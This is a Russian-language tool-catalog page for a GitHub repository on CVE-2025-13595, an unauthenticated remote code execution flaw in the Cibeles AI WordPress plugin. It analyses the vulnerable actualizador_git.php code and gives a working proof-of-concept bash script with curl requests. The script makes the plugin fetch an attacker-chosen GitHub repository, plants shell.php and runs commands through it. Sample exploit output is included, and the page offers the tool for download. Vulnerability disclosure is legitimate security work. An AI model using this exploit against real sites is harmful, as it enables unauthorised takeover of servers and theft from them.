Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-13595 — CIBELES AI <= 1.10.8 - Неаутентифицированная произвольная загрузка файлов | Kitploit
Инструменты/GitHubGitHub/d0n601/cve-2025-13595
Генерация полезной нагрузкиАнализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на Проникновение
GitHubd0n601/cve-2025-13595

CVE-2025-13595

CIBELES AI <= 1.10.8 - Неаутентифицированная произвольная загрузка файлов

Репозиторий
119 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CIBELES AI <= 1.10.8 — Неавторизованная произвольная загрузка файлов

Плагин Cibeles AI для WordPress версий 1.10.8 и ниже содержит уязвимость удалённого выполнения кода без аутентификации в файле actualizador_git.php. Этот файл напрямую доступен по HTTP без каких-либо проверок аутентификации или авторизации, что позволяет неаутентифицированным злоумышленникам загружать произвольные репозитории GitHub и перезаписывать файлы плагина, что приводит к удалённому выполнению кода.

Эксплойты «TL;DR»

Файл CVE-2025-13595.py демонстрирует удалённую загрузку shell.php и выполнение кода:

root@kitploit:~
python3 CVE-2025-13595.py -t http://techcorp.cc -o d0n601 -r minimal-rce -k github_pat_YOURKEYHERE -c whoami
[*] Exploiting actualizador_git.php vulnerability...
[*] Downloading and installing shell from GitHub repository: d0n601/minimal-rce
Descargando d0n601/minimal-rce@main ...
Eliminando entradas extra...
Copiando archivos...
OK. Mirror aplicado en: /var/www/html/wp-content/plugins/cibeles-ai

[*] Exploit executed. Checking if shell.php was created...

[*] Testing shell access...
www-data


[*] Shell should be accessible at:
    http://techcorp.cc/wp-content/plugins/cibeles-ai/shell.php?cmd=COMMAND

Технический анализ

Уязвимость находится в /wp-content/plugins/cibeles-ai/actualizador_git.php. Этот файл реализует систему зеркалирования репозиториев GitHub, которая доступна напрямую по HTTP без каких-либо средств защиты.

Анализ пути выполнения кода

  1. Прямой доступ к файлу (строки 1–17): В файле отсутствует стандартная проверка ABSPATH для WordPress (if (!defined('ABSPATH')) exit;), которая предотвращает прямой HTTP-доступ. Параметры считываются напрямую из $_GET без проверки:

    root@kitploit:~
    $OWNER = $_GET['owner'] ?? 'cibeles';
    $REPO  = $_GET['repo']  ?? 'svn_cibeles-ai';
    $REF   = $_GET['ref']   ?? 'main';
    $TOKEN = $_GET['token'] ?? 'PON_AQUI_TU_TOKEN_PAT';
    
  2. Проверка токена (строка 26): Единственная проверка — пустой ли токен или равен значению по умолчанию. Аутентификация или авторизация не производятся:

    root@kitploit:~
    if ($TOKEN === '' || $TOKEN === 'PON_AQUI_TU_TOKEN_PAT') { 
        http_response_code(400); 
        exit("Falta token\n"); 
    }
    
  3. Запрос к GitHub API (строка 31, 35–58): Скрипт скачивает ZIP-архив из GitHub API, используя управляемые пользователем параметры:

    root@kitploit:~
    $apiUrl = "https://api.github.com/repos/{$OWNER}/{$REPO}/zipball/" . rawurlencode($REF);
    curl_download($apiUrl, $zip, $TOKEN);
    

    Функция curl_download() отправляет токен в заголовке Authorization, но не выполняет никакой проверки владельца репозитория или его содержимого.

  4. Распаковка ZIP и файловые операции (строки 133–158): Скачанный ZIP-архив извлекается, а файлы копируются напрямую в каталог плагина:

    root@kitploit:~
    $zipArc->extractTo($extractDir);
    $rootInsideZip = $extractDir . DIRECTORY_SEPARATOR . $entries[0];
    rrcopy_into($rootInsideZip, $cwd);
    

    Функция rrcopy_into() рекурсивно копирует все файлы из извлечённого репозитория в текущий рабочий каталог (каталог плагина), перезаписывая существующие файлы.

  5. Удаление файлов (строки 152–154): Файлы, отсутствующие в скачанном репозитории, удаляются:

    root@kitploit:~
    mirror_delete_extras($cwd, $keepSet, $PRESERVE);
    

    Функция mirror_delete_extras() удаляет любые файлы в каталоге плагина, которых нет в манифесте репозитория.

Подтверждение концепции

root@kitploit:~
TARGET="http://example.com"
OWNER="your_username"
REPO="minimal-rce"
TOKEN="github_pat_blablabla"

COMMAND="whoami"

echo "[*] Exploiting actualizador_git.php vulnerability..."
echo "[*] Downloading and installing shell from GitHub repository: ${OWNER}/${REPO}"

curl -s "${TARGET}/wp-content/plugins/cibeles-ai/actualizador_git.php?owner=${OWNER}&repo=${REPO}&ref=main&token=${TOKEN}"

echo ""
echo "[*] Exploit executed. Checking if shell.php was created..."
echo ""

echo "[*] Testing shell access..."
curl -s "${TARGET}/wp-content/plugins/cibeles-ai/shell.php?cmd=${COMMAND}"

echo ""
echo ""
echo "[*] Shell should be accessible at:"
echo "    ${TARGET}/wp-content/plugins/cibeles-ai/shell.php?cmd=COMMAND"
Скачать инструмент